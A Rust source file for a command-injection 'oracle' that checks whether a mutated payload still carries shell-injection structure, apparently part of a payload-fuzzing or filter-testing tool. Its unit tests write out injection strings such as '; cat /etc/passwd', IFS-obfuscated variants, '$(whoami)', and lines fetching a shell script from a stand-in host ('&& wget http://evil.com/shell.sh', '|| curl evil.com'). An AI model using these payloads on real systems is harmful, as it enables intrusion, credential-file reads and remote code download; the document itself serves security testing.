use crate::ascii_scan::contains_ascii_insensitive;
use crate::traits::PayloadOracle;
use serde::Deserialize;
use std::sync::OnceLock;
pub struct CmdiOracle;
const CMD_ORACLE_TOML: &str = include_str!("../rules/cmd/oracle.toml");
#[derive(Debug, Clone, Deserialize)]
struct CmdSeparator {
pattern: String,
#[allow(dead_code)]
description: String,
}
#[derive(Debug, Clone, Deserialize)]
struct ShellCommand {
name: String,
#[allow(dead_code)]
description: String,
}
#[derive(Debug, Clone, Deserialize)]
struct ShellTrick {
pattern: String,
#[allow(dead_code)]
description: String,
}
#[derive(Debug, Clone, Deserialize)]
struct CmdOracleRules {
#[serde(default)]
cmd_separator: Vec<CmdSeparator>,
#[serde(default)]
shell_command: Vec<ShellCommand>,
#[serde(default)]
shell_trick: Vec<ShellTrick>,
}
fn get_rules() -> &'static CmdOracleRules {
static RULES: OnceLock<CmdOracleRules> = OnceLock::new();
RULES.get_or_init(|| {
toml::from_str(CMD_ORACLE_TOML).unwrap_or_else(|_| {
CmdOracleRules { cmd_separator: Vec::new(), shell_command: Vec::new(), shell_trick: Vec::new() }
})
})
}
fn cmd_separators() -> &'static [String] {
static CACHE: OnceLock<Vec<String>> = OnceLock::new();
CACHE.get_or_init(|| {
get_rules()
.cmd_separator
.iter()
.map(|s| s.pattern.clone())
.collect()
})
}
fn shell_commands() -> &'static [String] {
static CACHE: OnceLock<Vec<String>> = OnceLock::new();
CACHE.get_or_init(|| {
get_rules()
.shell_command
.iter()
.map(|c| c.name.clone())
.collect()
})
}
fn shell_tricks() -> &'static [String] {
static CACHE: OnceLock<Vec<String>> = OnceLock::new();
CACHE.get_or_init(|| {
get_rules()
.shell_trick
.iter()
.map(|t| t.pattern.clone())
.collect()
})
}
fn contains_word(text: &str, word: &str) -> bool {
let word_bytes = word.as_bytes();
if word_bytes.is_empty() {
return false;
}
let bytes = text.as_bytes();
let is_separator = |b: u8| -> bool {
matches!(
b,
b' ' | b'\t'
| b'\n'
| b'\r'
| b';'
| b'|'
| b'&'
| b'`'
| b'$'
| b'('
| b')'
| b'<'
| b'>'
| b'\''
| b'"'
| 0
)
};
let is_word_boundary_after = |b: u8| -> bool {
is_separator(b) || matches!(b, b'-' | b'/' | b'(' | b'$')
};
let mut i = 0;
while i < bytes.len() {
while i < bytes.len() && is_separator(bytes[i]) {
i += 1;
}
while i < bytes.len() && bytes[i] == b'/' {
i += 1;
}
let part_start = i;
while i < bytes.len() && !is_separator(bytes[i]) {
i += 1;
}
let part = &bytes[part_start..i];
if part.len() >= word_bytes.len() {
let prefix_match = part[..word_bytes.len()]
.iter()
.zip(word_bytes.iter())
.all(|(a, b)| a.eq_ignore_ascii_case(b));
if prefix_match {
if part.len() == word_bytes.len() {
return true;
}
if is_word_boundary_after(part[word_bytes.len()]) {
return true;
}
}
}
}
false
}
fn has_cmdi_structure(payload: &str) -> bool {
let payload = payload.trim_end_matches(['\0', '\u{FFFD}']);
let has_separator = cmd_separators().iter().any(|sep| payload.contains(sep.as_str()));
let has_command = shell_commands()
.iter()
.any(|cmd| contains_word(payload, cmd));
let has_shell_trick = shell_tricks().iter().any(|trick| payload.contains(trick));
let has_target_path = contains_ascii_insensitive(payload, "/etc/passwd")
|| contains_ascii_insensitive(payload, "/etc/shadow")
|| contains_ascii_insensitive(payload, "/bin/")
|| contains_ascii_insensitive(payload, "/tmp/")
|| contains_ascii_insensitive(payload, "http://")
|| contains_ascii_insensitive(payload, "https://");
has_separator && (has_command || has_shell_trick || has_target_path)
}
impl PayloadOracle for CmdiOracle {
fn is_semantically_valid(&self, _original: &str, transformed: &str) -> bool {
has_cmdi_structure(transformed)
}
fn name(&self) -> &'static str {
"CMDI"
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn semicolon_cat_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("; cat /etc/passwd", "; cat /etc/passwd",));
}
#[test]
fn pipe_ls_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("| ls -la", "| ls -la"));
}
#[test]
fn double_ampersand_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid(
"&& wget http://evil.com/shell.sh",
"&& wget http://evil.com/shell.sh",
));
}
#[test]
fn backtick_subshell_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("`id`", "`id`"));
}
#[test]
fn dollar_paren_subshell_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("$(whoami)", "$(whoami)"));
}
#[test]
fn ifs_trick_valid() {
let oracle = CmdiOracle;
assert!(
oracle.is_semantically_valid(
";${IFS}cat${IFS}/etc/passwd",
";${IFS}cat${IFS}/etc/passwd",
)
);
}
#[test]
fn encoded_separator_invalid() {
let oracle = CmdiOracle;
assert!(!oracle.is_semantically_valid("; cat /etc/passwd", "%3B cat /etc/passwd",));
}
#[test]
fn encoded_command_still_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("; cat /etc/passwd", "; cat /etc/passwd",));
}
#[test]
fn plain_text_invalid() {
let oracle = CmdiOracle;
assert!(!oracle.is_semantically_valid("; cat /etc/passwd", "hello world"));
}
#[test]
fn empty_invalid() {
let oracle = CmdiOracle;
assert!(!oracle.is_semantically_valid("; cat /etc/passwd", ""));
}
#[test]
fn newline_separator_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("\nid", "\nid",));
}
#[test]
fn or_pipe_valid() {
let oracle = CmdiOracle;
assert!(oracle.is_semantically_valid("|| curl evil.com", "|| curl evil.com"));
}
}